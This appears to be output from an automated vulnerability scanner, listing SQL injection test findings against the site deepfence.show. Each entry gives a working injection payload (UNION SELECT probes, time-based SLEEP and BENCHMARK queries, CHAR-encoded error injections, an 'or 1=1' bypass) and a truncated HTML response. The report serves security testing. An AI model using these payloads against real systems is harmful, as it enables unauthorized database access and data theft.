<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #743
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io@variable
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #744
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #745
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #746
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(
116)+CHAR(69)+CHAR(65)+CHAR(113)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #747
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #748
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #749
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #750
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #751
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #752
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #753
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io admin' or 1=1 or ''='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #754
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #755
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #756
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io (SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #757
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
